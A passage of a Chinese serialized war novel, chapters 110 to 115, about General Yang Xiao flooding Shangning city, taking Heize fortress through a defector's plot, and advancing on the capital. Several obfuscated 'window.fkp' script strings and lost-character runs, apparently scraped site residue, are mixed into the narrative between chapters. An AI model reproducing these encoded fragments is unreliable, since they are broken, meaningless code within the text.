韩驹虽说是科举出身,但平日里也好舞枪弄棒,见杨笑在那里等着自己来射便伸手接过弓箭来,拉开弓弦“嗖”的一声向杨笑射去一根箭矢。 杨笑端坐在那里一动不动,只等着那根箭矢射到了面前时才伸出两根手指牢牢的将那根箭矢夹在了两指间。韩驹见状脸上露出惊?之色来,他的箭法虽然说不上如何的高超,但也还算拿得出手,而杨笑就那么轻描淡写的就接下了那根箭,又怎能不让人吃惊。“都说此人神勇,看来外面的传言所说非虚呀!”韩驹自言自语道。 杨笑随手一撇丢下手中的箭矢,说了声:“韩太守三思。”然后转身离去。 连日的大雨让金乌湖很快就蓄满了水。这一天,金乌湖掘堤放水。滚滚洪流夹带着许多圆木如一条狰狞巨蟒般直扑上宁城而去。在滔天的洪水面前上宁城的城门就像是纸糊的一样,轻易就被冲开了,很快在洪水和圆木的双重冲击下城墙也坍塌开了一个大口子,整个上宁城都被淹没在洪水之中。 常言道:水火无情。在洪水面前没有什么高低贵贱之分,只要是被它遇到的全部都要吞没。有年迈的老人来不及发出最后一点声音,就在洪水中消失不见;有健壮的男子虽然奋力挣扎,却依旧免不了被洪流席卷而去的命运;有如花的少女大声呼救,却还是要在水中凋谢;有年轻的妇人,就算是被洪水没过了头顶也要把襁褓中的婴儿高高的举起,只为了求那一丝让自己的骨肉活下去的可能。 本来一心忠于朝廷不肯向西梁军投降的韩驹还寄期望于朝廷的援兵能够早日到来,可现在呢?站在城墙上看着满城的凄惨景像,他有些后悔了,后悔没有接受西梁军的劝降以至于害了全城的百姓。 韩驹为官多年,虽然称不上有多么的清廉,但他自问从来也没有做过什么伤天害理的事,面对眼前的上宁城,韩驹从心底里感受到了莫大的震憾。他把身边的人送上最后一条船,虽然船上的人一再的劝他一起走,韩驹却摇头道:“我走不了了,我已经害了全城的百姓,是上宁城的罪人,到哪儿都逃不过一个死字,留下来……或许是一个最好的交待。” 洪水一直冲了几天几夜,等到洪水完全退去后,大半个上宁城早已不见了踪影,剩下的也全都是一些残垣断壁……。 ……城墙上韩驹坚难地站起身来,此时的韩驹蓬头垢面,憔悴不堪,哪里还有半点往日的风彩。他倚靠在城墙上,好让自己能站的稳一些。韩驹低头看了一眼城墙下的凄惨景象沉声道:“这就是你口中所说的为一城百姓计?” 对面的杨笑缓缓回道:“杨某更要为我西梁众将士着想。” 韩驹死了,并不是被西梁军杀死的,而是拔剑自刎于城头之上。自此阻挡了西梁军一个多月的上宁城终于告破。 预知后事如何,且听下回分解! ??????? ??????? ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百一十一回 孟云羲的消息 ?????孟云羲的消息? 雨过天晴,洪水消退,上宁城内一片狼藉。王燕兴陪在杨笑的身边,看着城中幸存的百姓收拾着残破的家园,心中感触道:“这个韩驹还真是个倔脾气,也难怪会带出武万昌那样的属下来,只是可怜了这些百姓。不过好在城里的大多数人在开战前就已经离开了,否则的话还要死更多的人。” 二人一边走一边聊着,听了王燕兴的话杨笑也颇有些感慨:“这也怨不得韩太守,要怪就怪这场本不该发生的战争吧!” 王燕兴有些不太同意杨笑的话:“气节虽好,就是不能明辨是非,让这么多的百姓为他陪葬,说到底也是犯了不该犯的错!” 杨笑颇有些玩味的问道:“要是你的话会怎么做?” 王燕兴一本正经的反问道:“我都站在这里了你说我会怎么做?” 杨笑哑然一笑,知道自己问的有点多余了:“也是。” 正在二人说话间,李伯通到了。 “见过将军!”李伯通向杨笑一礼道。 如今杨笑的身份与往日早已大不相同,李伯通见了自然要向杨笑行礼,不过杨笑并没有以身份自居,反而多次劝李伯通不必在意这些礼节。“李将军不必多礼,快请起。” “将军礼下与我等,李伯通却不能不知礼数。”李伯通起身说道。 杨笑并未在这件事上过多的纠结,而是向李伯通问道:“粮草带来了吗?” 李伯通回答:“先前所得粮草已尽数带来。” 杨笑抚掌道:“好!拿出一半来分给城中的百姓。” 李伯通转身对身后一个头戴葛巾,身着皂袍之人说道:“王主簿,马上去统计分发。” 那人称“是”一声后快步而去。 李伯通与杨笑一起在上宁城里查看一番后告辞离去。跟在李伯通身后的杨豹走了没几步后又返了回来。他一把将杨笑拉到一旁犹犹豫豫的说道:“有个事儿我想了好些天了也不知道该不该跟你说。” 杨笑问道:“什么事?” 杨豹凑近了神神秘秘的说道:“你猜我前几天在遂宁县遇到谁了?” “谁?”杨笑问。 “孟行仁,是孟行仁!” “孟行仁?”杨笑这些年来也遇到过一些姓孟的,但就是想不起来有叫孟行仁的。 杨豹见杨笑一头雾水这才反应了过来:“哎呀!怨我怨我。孟行仁就是老家的孟老二,孟秀才。” “孟秀才!?”杨笑一下子明白了过来。 这也不怪杨笑一开始不知道“孟行仁”是谁,古时的男子一生都会有好几个名称。小时候用乳名、小名,长大及冠后有大名,有功名时还会有官名,此外还会有字、号等等称呼。这些称呼在不同的年纪和环境下还会有不同的讲究,比如小时候叫“名”,长大后有了“字”,就不能再随意的称乎人家的“名”了,还有一些特殊的人群和环境下要称乎人家的“号”等等。 “孟行仁”就是孟秀才的官名,而“孟秀才”也只是当时乡邻朋友们对其的称乎,当孟秀才金榜题名后“孟秀才”也就不再是“孟秀才”了,而是要称一声“孟老爷”。当然了,同等身份或是长辈们还是会称呼他的“字”。杨笑那个时候还小的很,不知道孟秀才的官名也不奇怪。 当杨笑知道孟行仁就是孟秀才后,他一下子抓住杨豹的手臂急切的问道:“他现在在哪儿?你有没有见到云羲?……。” 杨豹没想到杨笑的反应会这么大,一下子有点反应不过来,说话都有些不利索了:“别……别急……你听……你……听我说……。” 杨笑哪里还会有耐心听他慢慢说:“哎呀!二叔你快说呀!” 杨豹赶紧说道:“孟行仁就是遂宁县的县令……。”结果不等杨豹说完杨笑转身就往城外跑去。杨豹在后面喊道:“你慢点!你……。”不过他也只是喊了这么半句,下半句话到底嘟囔的是什么就只有他自己知道了。 见杨笑这般失态的样子,一旁的王燕兴走到杨豹跟前问道:“杨将军这是怎么了?还从来没见过他这么着急的样子。” 杨豹有些无奈的说道:“急着去见一个人。” “见一个人?”王燕兴有些想不明白:“什么人能让杨将军慌张成这个样子?” 杨豹:“一个很重要的人。” “很重要的人?有多重要?”王燕兴接着问道。 杨豹长吐出一口气说道:“一个说不定比他自己的命都要重要的重要的人。” 王燕兴望着杨笑远去的背影似懂非懂的“哦”了一声。 杨豹歪头嫌弃的看了一眼身旁旁的王燕兴:“你什么时候变的这么喜欢八卦了?” 王燕兴有些不好意思的嘿嘿一笑:“一时兴起,一时兴起。” 且说杨笑一路狂奔到了遂宁县,进城后直奔县衙而去,可此时的遂宁县衙内早已空无一人。 杨笑把一个不大的县衙前前后后,里里外外的找了个遍也没有见到一个人。好不容易才有了关于云羲的消息,可刚刚燃起的希望一下子又熄灭了,杨笑一下子感到无比的失落和空虚,他坐在屋檐下的台阶上低头不语,谁也不知道他在想些什么。 过了不知道多长时间,一只手在杨笑的肩膀上轻轻的拍了拍。 杨笑抬头看了一眼,是二叔杨豹。 “我打听过了,孟行仁是刚从别的地方调过来的,就他自己一个人来的,并没有带家眷。上宁城城破之时孟行仁就弃城而逃了。” 杨豹轻声的劝解两句后也一屁股坐在台阶上,在那里自顾自的嘀咕了起来:“孟行仁,孟行仁,嗯……行仁。名字叫行仁,却净干些个缺德事儿,一点仁义道德也不行!咝……诶?行仁?行不就是走嘛?行人不就是走人吗?那不就是跑路嘛?诶呀!这个家伙还真是对的起他的名字呀,一看事情不妙立刻就跑路……。” 就在杨豹坐在那儿嘴里磨叨个没完没了时,杨笑忽的站起身来:“没事了,走吧二叔。” “哎我说……你要去哪儿?你等等我!啧……这孩子越来越不懂事儿了。”杨豹见他步伐稳健不像是有事的样子,也连忙拍拍屁股起身跟了上去。 预知后事如何,且听下回分解! ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百一十二回 计夺黑泽寨(一) ??上宁城已然是一座废城。城内幸存下来的居民有要去别处投亲的,西梁军放任其自行离开,有不愿意走想要留下来重建家园的,西梁军会为其提供一部分粮食以稳定民心。 对于一座废城,西梁军是不会投入过多的精力的,他们将上宁城周边几座完好的县城作为跳板,兵锋直指玉嶂郡。前面咱们提到过,玉嶂郡是圣京城的最后一道屏障,而黑水滩里的黑泽寨又是这道屏障里的重中之重,所以朝廷在西梁军攻打上宁城的时候就已经在这里囤积了许多的兵力。现在上宁城告破,朝廷更是惊慌,又把京城周边的几只军队给调了过来,把一个不大的黑泽寨给塞了个满满当当。 杨笑率领西梁军到达黑泽寨前时,黑泽寨早已是严阵以待,派出去的探子全都回报黑泽寨防守严密并没有可乘之机。杨笑又派当初护送西梁王返回西梁时的侍卫,去寻找那条能穿过黑水滩的小路,却发现由于连日的降雨,黑水滩里水位上涨,那条隐秘的小路早已不见了踪迹。没办法,只好先在黑泽寨外扎下营帐再做打算。 雨后的黑水滩被淹没在水面之下,那些黑色的烂泥滩全都不见了踪迹,原本生长茂密的野草也只剩下一点尖尖的末梢一片片的露出水面。一群群的小鱼儿穿梭在杂草之间,好像是在探索着这片新出现的水下森林。平静的水面像一面从天上遗落到人间的镜子,把蓝天白云全都装在了里面,一叶轻舟划开了这片蓝天白云,在天空中留下了一道涟漪。 小舟上乘坐着一位黑瘦的驼背老人。老人灰白的头发蓬乱的就像一堆杂草,身上的衣服也不知道多久没有换洗过了满是油渍和污垢,有些地方甚至已经结成了硬板,不过这身衣服跟他的发型倒是十分的般配,再配上他手里柱着的一那根满是包浆的拐杖,说他不是个乞丐估计都没人相信。 一个约么十七八岁的青年手里拿着一根长长的青竹竿,一下下的撑着小舟划过了水面。那青年看上去很是憨厚,相模也普通的很,是那种掉到人堆里扒拉都难扒拉着的。青年一边撑着小舟一边憨憨的问道:“爷爷,你说的那位将军,人家那是多大的人物,那还记得你吗?” 老者捋了捋下巴上的那把杂乱的山羊胡须,他想了想说道:“咝……应该……还记得吧?”老者显然也没什么底气。 那青年闷闷的问了一句:“真……真的吗?” 老者对青年的不信任显然感到很丢面子,不管自己心里到底是真没底还是假没底,但在气势上首先不能输了场面。只见那老者把头一歪向身后的青年质问道:“你难道不相信你爷爷我?” 青年面对老人的质问赶忙缩了缩脖子,他说道:“没有,没有……。”一边说还一边往老人手里那根满是包浆的拐杖上瞟了一眼。在他的记忆里,从小到大可没少被那根拐杖往自己的脑袋上招呼,也不知道自己的脑袋不太灵光跟这根拐杖有没有关系。 “没有……还问?”老者又说道。 这份语气让青年越听越觉得心里边没底,只听他小声的嘀咕道:“鬼才信你呢!就见过一次面,你自己都不知道人家到底记不记得你,一天天的就知道训我,打我……。” 老人听那青年在自己身后嘀嘀咕咕的也不知道在说些什么,就又问道:“二狗子,你在那儿嘀咕什么呢?” 青年听到老人问话,生怕他知道自己刚才在说他的坏话,赶紧说道:“啊?哦……没什么,没什么。我是说人家那么大的官,一天要忙好多事情吧?人家能见咱们吗?别到时候人没见着,倒先让他手底下的兵把咱们给咔嚓唠!我……我可还没讨媳妇儿呢!” 老者皱着眉头想了想说道:“应该不能够吧?我说二狗子,你成天想些什么呢?呼延将军让咱们去,咱们去就是了,你想那么多干什么?” 以青年的智商显然也想不了太多,听了老者的话他低头闷闷的答应了一声:“嗯。”然后就接着专心的划船去了。 青年一下一下的把小舟划到了岸边。小舟靠岸后青年跳下水把小舟扶稳,等老人上岸后又把小舟拖上岸藏在草丛里。把小舟藏好后两个人一前一后的向远处走去。 二人口中所称的呼延将军名叫呼延灼。黑泽寨分为前寨和后寨,分别把守在黑水滩的两头,挡在杨笑面前的是前寨,而呼延灼把守着的则是后寨。当初西梁王反出圣京城时就是呼延灼让人给西梁王送信让他不要进黑泽寨的,而这位老者就是当初那个为西梁王指路的老人。 自从被挡在黑泽寨之外后,杨笑每日都要到寨门前看上一看。黑泽寨并不大,方圆约么二三里,却胜在地利。这里四面沼泽,只有一条里许宽的堤坝从沼泽中穿过,而黑泽寨就把守在这条堤坝上。在它的四周全都是能吃人的黑色的烂泥地,人只要踩在上面很快就会陷下去,一但陷到了膝盖处,如果没有人搭救的话再想要出来那可就难了。 黑水滩周边并不出产石材,但黑水滩里最不缺的就是烂污泥,黑泽寨便就地取材用这些黑色的污泥和上草木灰再配一些沙子、炉渣等物脱成一块块土胚,再用石碳烧红了,就成了一种黑色的琉璃砖块。这种砖块硬如顽石,却比石头轻巧了许多,就是用这种材料在这片天堑上建起了这座要塞来。 杨笑也曾试探性的攻打了两次,却发现跟本没处下手,也就放弃了强攻的念头。也曾想过调来西梁的战船从潮天河乘船而下,绕到黑水寨的后面把它死死的围住,可河面上有从圣京城赶来的渭河水师阻挡。渭河水师的战船高大,数量上也占优势,相比之下西梁水师的战船小,数量少,很难胜过渭河水师。 从潮天河绕道的打算也行不通,就只有转向北面绕道而行了,可这样一来就要绕更远的路,闯更多的城池关卡,到时候不知道又要耽误多少时间,死多少人,最重要的是还要时刻提防着被黑水寨里的守军给断了后路。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百一十三回 计夺黑泽寨(二) 这天杨笑又到黑水寨前查看了一回,面对城头上传来的冷嘲热讽,还有这些天没有丝毫头绪的战事,杨笑一时间也是觉得有些头大。 回营时,在营门处见有一老一少两个人不知道为什么被押在路边,像这种小事杨笑平常是不会放在心上的,更何况今天还受了一肚子的气。从旁边经过时杨笑不经间撇了那二人一眼,碰巧那老者也抬头看了眼杨笑。两人目光相遇,杨笑只觉得那老者有些面熟,好像是在什么地方见过似的。初开始杨笑也没有多往深处想,不过等从二人身边走过时杨笑猛然间想了起来,于是他赶紧翻身下马上前搀住老者:“杨笑不知是老人家到此,让老人家您受委屈了。”一边搀起老者一边佯装把旁边的士兵训斥了两句。 老人对自身的遭遇并不在意,他拍了拍沾在身上的土说道:“杨将军军务繁忙,是小老儿来的仓促了。”说实话,他那一身衣服恐怕不比地上的泥土干净多少,也不知道他拍个什么劲儿。 “寨门紧闭,那条小道又被水淹没了,老人家是怎么来到这里的?”面对老人的到来杨笑惊喜之余也有一些疑问。 “一叶树皮扁舟将将堪行。”老人略带自得的回答道。 杨笑请那老者到大帐里休息,老人回决道:“杨将军不必麻烦了,小老儿就是来送个信。”说着老人从怀里掏出一张被揉的皱巴巴的纸片交到了杨笑手里。也不知道他把这张纸藏在什么地方,先前愣是没被抓住他的士兵们给搜出来。“信送到了,小老儿也该走了,将军不必相送。”老人说完也不管杨笑还有没有什么要说的话,拉住旁边的青年转身就走。 那青年跟在老者的身后一边走一边擦了把额头上的汗,小声的说道:“我了个乖乖!好险没掉了脑袋。” 老者没好气道:“瞅你那点出息,你那颗脑袋瓜子不是还在脖子上好好的吗?” 青年摸了摸后脖领,嘿嘿嘿的笑着说道:“嗯,还在,还在。别说,那个将军还真记得你。” 老者得意道:“你爷爷我什么时候骗过你?” 对于老者的话青年并不认同:“得了吧!你刚才也不是没害怕。我看那个将军是记住你身上的味儿了吧?一年也不洗一次澡换一身衣服……。” “你瞎说什么呢?杨将军又不是属狗的。” “……。” 两个人就这么一边胡址着一边走远了。 杨笑目送那老者走远后才想起手里的纸片来,当他把纸片打开看到上面的内容后兴奋的连声叫好:“真是得来全不费工夫!” 月黑风高夜,杀人越货时!五天后的一个深夜里,黑泽寨寨门处的吊桥悄无声息的放了下来。吊桥刚一落地,不远处的黑暗中便立刻亮起了一根根火把,在火光的映照下一个个的黑影蜂拥般的冲入了黑泽寨中。 城墙上的人发现城下的异况后立刻发出了警报:“西梁军来了!西梁军打进来了!” “嘡嘡嘡……。”到处都是喊叫声和告警的敲锣声。 黑泽寨本就不大,西梁军冲入寨门后很快就冲到了黑泽寨的各个角落。到处都是喊杀声;到处都是刀光剑影;到处都是火光冲天。黑泽寨里的守军原本仗着易守难攻的地利还能阻挡一下西梁军,现在被西梁军杀了进来哪里还是对手,纷纷溃败投降。 吴不讳,黑泽寨前寨的驻军统领。从睡梦中惊醒的吴不讳连衣服都没来得及穿就夺门而去。当然了,他跑这么快并不是要去跟西梁军拼命,而是去逃命的。 吴不讳一路狂奔鞋都跑掉了一只,好不容易才逃了出来哪里还敢再做停留,一路马不停蹄的逃到了后寨。此时的后寨灯火通明,呼延灼甲胄整齐的站在城楼上看着下面的吴不讳:“吴将军怎么这身打扮就跑到我这里来了?” 吴不讳看清城楼上的人是谁后连声道:“呼延将军,你来的正好,快快打开城门,容我进去之后再于呼延将军细说。” 呼延灼故意装作刚刚搞清楚状况的样子说道:“哎呀!吴将军怎地狼狈至此,难道是发生什么事情了吗?” 吴不讳一捶大腿:“诶!别提了,西梁军突起发难,我等抵挡不住,前寨已然失守了!呼延将军,还是……还是先开城门让我进去再说吧?” 呼延灼偷偷的冷笑一声说道:“吴将军莫急,我这就打开城门。” 把吴不讳让到大厅里呼延灼假意关心安慰几句后问道:“如吴将军所言前寨失守……这下该如何是好呀?” 吴不讳不甘心道:“西梁军不过是靠偷袭才能得手的。呼延将军,你借我三千兵马,我定能把前寨夺回来!” “三千兵马?” “对!只要三千兵马。” “好!”呼延灼答应道。 见呼延灼一口就答应了下来,吴不讳大喜过望,只见他起身抱拳道:“呼延将军……大恩不言谢!我……。” 不等吴不讳说完呼延灼便止住道:“啊!吴将军不必如此客气。来人!”呼拉拉!从门外冲进来许多带刀的甲士将吴不讳团团围在中间。到这时候吴不讳就是个傻子也该明白事情不对劲儿了:“呼延灼!你……。” “拿下!”呼延灼一声令下吴不讳立刻就被五花大绑摁在了地上。 吴不讳跪在地上挣扎道:“呼延将军,你我同朝为官,又是比邻而居,往日吴某也不曾慢了礼数,为何要如此对待吴某?” 呼延灼冷笑一声道:“吴将军,兵马是没有了,不过密旨倒是有一封。” “什么密旨?”吴不讳惊道。 呼延灼厉色道:“密旨就是你吴不讳丢失城寨立刻就地正法!” 吴不讳大叫道:“你胡说!哪来的密旨,拿来我看!” 呼延灼呵呵两声并不理会他。吴不讳这时才完全明白了过来:“哦!我说西梁军怎么会突然杀了进来,今天值夜的是从你这里调过去的周同格,原来都是你搞的鬼。” 原来西梁军打到黑泽寨后便一切事务都是以前寨为重,兵力也都尽量往前寨调配。呼延灼就把自己的亲信周同格借调给了吴不讳并暗中叮嘱他配合西梁军的计划。而周同格也不负所望,很顺利的配合西梁军拿下了前寨。 呼延灼抿了口茶水,把茶杯轻轻的放回桌子上不紧不慢的说道:“你现在知道也不晚。” 吴不讳气急败坏的大声骂道:“呼延灼!你个王八蛋!你竟敢背叛朝廷,投靠西梁军!你为什么要害我?你说?你为什么要害我?……。” 呼延灼懒得听他聒噪,摆摆手说道:“推出去,斩了!” 吴不讳见真的要杀自己了又立刻开始求饶:“呼延将军,呼延将军,念在你我邻里多年的情份上就饶我一命吧!我家里还有老母要奉养……。” 呼延灼不开口,押送他的甲士们才不会对他客气,三两下就把他推了出去。吴不讳见求饶无望就又破口大骂了起来:“呼延灼!你个狗娘养的!老子日你十八辈儿祖宗!呼延灼!老子做鬼也不会放过你的!啊……!”一声惨叫戛然而止。不一会儿,一颗血淋淋的人头就放到了呼延灼的面前。 天刚一放亮杨笑就率领西梁大军到来了,此时呼延灼早已在城门外等候多时。远远的看见一人骑一黑虎而来,身后大军威严整肃,呼延灼在心中不由的赞道:“此等气势果然神兵天降,西梁得此一将何愁不胜!” 不等杨笑胯下的小黑停住脚步呼延灼已经大步迎了上去,来至杨笑近前呼延灼拜倒在地双手奉上吴不讳的人头高声道:“呼延灼见过杨将军!原率全寨将士为王爷效犬马之劳!”就这样黑泽寨大开城门迎接西梁军入城。 黑泽寨失守后圣京城的最后一道天堑就被西梁军攻破了,至此杨笑的中路军便可直取圣京城。在这之前杨笑还会遇到什么样的阻挡呢? 预知后事如何,且听下回分解! ??????? ??????? ???? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百一十四回 剑指圣京城 上一回说到呼延灼献上吴不讳的人头举城归顺了西梁王,至此,圣京城的最后一道天堑告破。 呼延灼将杨笑迎入寨内,把所辖防御、兵马、钱粮等帐目图册全都交与杨笑过目,又领着杨笑在寨内巡视一番。巡视过几处地方后杨笑向呼延灼问道:“呼延灼将军,那位为我等指路,又转送信函的老翁现在何处?” 呼延灼面带笑意:“知道将军会问起,将军请随我来。” 呼延灼一路领着杨笑出了军寨来到军寨外的一处小村庄。在这里生活的大都是军寨士卒们的家眷,还有就是一些个靠着军寨讨生活的小商小贩们。 刚进村子,远远的就看到一位老者在门前忙活着手里的活计。杨笑加快步伐来到老者身后一礼道:“多谢老仗两番相助!”随后双手捧出一个小袋子:“一点薄礼,还望老仗不要嫌弃。” 老者放下手上的活计,回过身认出了眼前之人后拱手道:“杨将军客气。事情嘛……都是呼延将军吩咐的,老头子不敢居功,不过您既然来了……”老者说着抓起了杨笑手里的钱袋:“嗯……东西就留下吧,人嘛……你就随意好,反正老头子也没什么好招待的。” 从先前的两次接触中能感觉到老者是一个十分直爽的人,但实在是没想到还是这样的一位性情中人。杨笑一时间不知道该说些什么了,只好尴尬的笑了笑。 这一幕让一旁的呼延灼大跌眼睛。知道这老爷子随性的很,但没想到这么随心所欲。 “我说梁三爷,先前不是给了你一些银子让你把家里布置一下好招待杨将军的吗?你……怎么一点不见动静啊?”呼延灼问道。 谁知老者一脸懵逼的反问道:“布置?什么布置?那不是给我的赏钱吗?” 呼延灼指着面前的老头没好气道:“梁三爷,我说你怎么该糊涂的时候不糊涂,不该糊涂的时候你怎么这样啊?” 杨笑笑着伸手止住二人:“啊,无妨,无妨。” 呼延灼向杨笑陪了个不是道:“军寨中已为杨将军备下了酒宴。” 杨笑邀请老者一同前往,哪知老者一扭头不乐意了:“我不去!他姓呼的又没叫我。” 说起这位老者还真是跟呼延灼沾着一份不太远的亲戚关系,论起辈份来也确实是呼延灼的远房表亲,也确实是爷爷辈儿的,所以呼延灼这一声三爷叫的也并不亏。 老者这一声拒绝让呼延灼也是服了,他向老者作揖道:“三爷?!我错了,您老请!您老请!” 老者冷哼一声这才肯作罢。 呼延灼又接着说道:“另外啊,我不姓呼,我姓呼延。” 老者满不在乎的一挥手:“哎呀!都一样。打你爷爷那时候起我就是这么叫的。” 一行人回到黑泽寨里一番宴饮。 此后呼延灼与老者各自受封一方,这是后话撂下不提。 只说杨笑拿下黑泽寨,玉嶂郡的郡守听到风声后立刻弃城逃跑了。不是他不想抵抗,而是玉嶂郡能用的兵力几乎全部都调到了黑泽寨,现在他手上实在是无兵可用了。不只玉嶂郡无兵可用,就连圣京城的一部分兵力也丢在了黑泽寨,圣京城都自身难保,谁还会管他小小的玉嶂郡呢?本来就不是什么好鸟的玉嶂郡郡守不跑路才怪呢! 黑泽寨失守的消息传来,朝堂上自然更是少不了一片震动。皇帝看着手上的奏章,只看了头一行的“黑泽寨失守”几个字就把他气的手都抖了起来,一把将奏章摔在脚下大声吼道:“这个吴不讳是怎么搞的,都没有像模像样的打上一场就这么把黑泽寨给丢了?西梁军如此长驱直入,难大我大周就没有一个能打的吗?就这么任凭这帮乱臣贼子肆无忌惮?这是为什么?嗯?为什么?” 面对皇帝的暴怒朝堂上的文武百官全都忌若寒蝉。兵部上书跪在地上把一颗脑袋都要栽到地板下了,只听他开口辨解道:“启禀陛下,这都是因为后寨的呼延灼私通反贼才导致黑泽寨失守的。” “呼延灼?就是那个三代受封镇守黑泽寨的呼延灼?”皇帝问。 “正是此人。”兵部尚书肯定道。 “此人世代蒙受皇恩竟也会背叛于朕?”看样子关于呼延灼的反叛很是出乎皇帝的意料之外。 兵部尚书又接着说道:“呼延灼其实早有反心,先前西梁王反出京城之时,据说就是此人暗中协助才会让西梁王顺利通过黑泽寨的。” 皇帝气的在龙椅前来来回回的转了几圈,他问道:“他宗族家人现在何处?” 站在人群后面的户部尚书开口道:“回陛下,呼延灼的家人都在玉嶂郡。” “叫玉嶂郡守把他的家人全都抓起来,朕要诛他的九族!”皇帝气急败坏的命令道。 听到皇帝的旨意后兵部尚书、户部尚书,还有吏部尚书三个人都面色难堪,吏部尚书吞吞吐吐道:“嗯……这……这……。” 皇帝见三人一幅死了亲娘般的表情,就问道:“怎么?连这也办不到吗?” 三个人互相看看,最后还是兵部尚书开口道:“玉嶂郡守早在黑泽寨告破之时就……就……。” “就什么?”皇帝一看他这幅样子,就知道一定有什么自己不知道的事情。 ???????“嗯……就弃城而逃了。”兵部尚书最后还是不得不说出了实情。 皇帝听到这个消息简直气奋到了极点,他一把将放在御案上的东西全都推到了地上:“诛他九族!诛他的九族!”皇帝涨红着脸,咬牙切齿狠狠地说道。 不过在朝廷震动之余,那些混迹官场多年的老狐狸们却早已开始暗中的,把自己的财产和家眷们送出城。那些虽不在权力中心,却也能够敏锐的察觉出时势的人,也纷纷开始为自己安排后路。没过多长时间京城里的大小官员、富商财主们全都闻风而动,偷偷的把财产家小送出了城。不过纸终究是包不住火的,没过多少天消息就在城里传开了,许多平民百姓也开始往城外跑,圣京城里一时间像乱了套一样。 玉嶂郡郡守弃城而逃,白捡的一座郡城杨笑又怎么会客气,西梁军很快就接管了郡城以及周边的各处县城。 接管了玉嶂郡,等一切都收拾妥当后杨笑就把大帐搬往了郡城。路过四行渡时,杨笑在渡口的码头上回想起了当初在这里的遭遇。当时西梁王的亲卫经过长途跋涉后全都疲惫至极,对方又人多势众,虽说在这里死伤了许多人,但最后好在是杀退了敌人。 “将军,当时就是在那家酒铺里买的酒吧?”一名跟在杨笑身边的侍卫指着不远处的一家酒铺向杨笑说道。 这名侍卫原先也是西梁王亲卫中的一员,当时也同杨笑一同从头到尾经历了渡口边的那场恶战,至今想起来都觉得惊险的很。当时谁也不知道再往前走到底是生是死,但身边的兄弟们没有一个人流露出哪怕一丝的畏惧,谁又能想得到现在他们又杀了回来,想想都觉得真是过瘾的很呢!只是在那一战中他不幸负伤在身,后来留在伏牛岭里养伤,再后来就做了杨笑的侍卫。 杨笑望向侍卫手指的方向:“嗯,对!就是这家酒铺。当时大家伙儿全都是一身血,把酒铺掌柜的可是吓得够呛,连酒钱都没敢要。” ???????“哈哈哈……。”杨笑身边的人都发出来一阵笑声。 后来有人在这里竖了一块碑,碑文上记录了这一战的前因后果,过往的客商都要到石碑前瞻仰一番。来来往往的人多了,连带着酒铺的生意也好上了许多,酒铺掌柜的更是添油加醋,不遗余力的向店里的客人们吹嘘着当时自己的所见所闻。什么西梁王当时的境况是怎样怎样的凶险;敌人是怎样怎样的凶惨;西梁王的侍卫们又是如何如何的悍不畏死;那头神兽又是怎样一番不同寻常;那位姓杨的将军又是如何如何神兵天降,力挽狂澜,于绝境之中生生的杀出一条血路来,护送西梁王一路平安的返回了西梁境……。总之是怎么惊险怎么吹,怎么邪乎怎么说,把个杨笑真真的是给吹成了天神下凡,神兵天降。 不费一兵一卒接管玉嶂郡后杨笑并没有把兵锋直指圣京城,而是分兵支援左右两路西梁军,必经只有他自己的中路军还是有些难以吃下圣京城这个庞然大物的。 由于有了杨笑的支援,本来与杨笑的中路军差不多齐头并进的左路军也一下子逼近了圣京城。而右路军这边,由于朝廷布防在潮天河南岸的守军利用沿途的城镇关隘一路节节抵抗,使得右路军的进展相较于杨笑的中路军和封常青的左路军要慢上一些。杨笑占领玉嶂郡后不但直接威胁到了圣京城的安危,整个潮天河南岸也全都暴露在杨笑的兵锋之下。这样一来潮天河南岸已经没有了防守的价值,基于这两点原因朝廷放弃了潮天河南岸,所剩兵马全部回防圣京城。杨笑又怎会让朝廷如愿?他派遣李伯通、王燕兴、呼延灼等人攻下了朝廷兵马回撤的必经之路:旬阳县。与右路军一同将朝廷的兵马团团围住,走投无路的朝廷兵马最后不得不向西梁军缴械投降。 一连串的变故将朝廷弄的措手不及,至此,三路大军已然兵临城下。 西梁军能否顺利的攻下圣京城,这期间又将经历怎样的一番激战?预知后事如何,且听下回分解。 ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百一十五回 剑指圣京城(二) 三路大军齐聚,圣京城似已遥遥在望。 西梁军初出二山关时只集结了六万多人马,一路攻城掠地打过来,不断的增兵,不断的收编降军,如今三路大军加在一起已有八十余万兵马。相较于西梁军的兵强马壮,圣京城内不过二十万守军,加上周围几个拱卫京都的卫星城,满打满算也就二三十万的样子。 